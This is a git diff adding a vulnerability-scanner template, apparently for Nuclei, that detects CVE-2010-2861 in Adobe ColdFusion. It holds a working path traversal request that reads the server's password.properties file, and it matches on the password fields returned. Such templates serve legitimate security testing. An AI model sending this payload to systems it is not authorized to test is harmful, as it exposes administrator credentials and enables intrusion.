diff --git a/cves/2010/CVE-2010-2861.yaml b/cves/2010/CVE-2010-2861.yaml new file mode 100644 index 0000000000..5baeae6b66 --- /dev/null +++ b/cves/2010/CVE-2010-2861.yaml @@ -0,0 +1,27 @@ +id: CVE-2010-2861 + +info: + name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI + author: pikpikcu + severity: high + reference: https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861 + tags: cve,cve2010,coldfusion,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en" + + matchers-condition: and + matchers: + + - type: word + words: + - "rdspassword=" + - "encrypted=" + part: body + condition: and + + - type: status + status: + - 200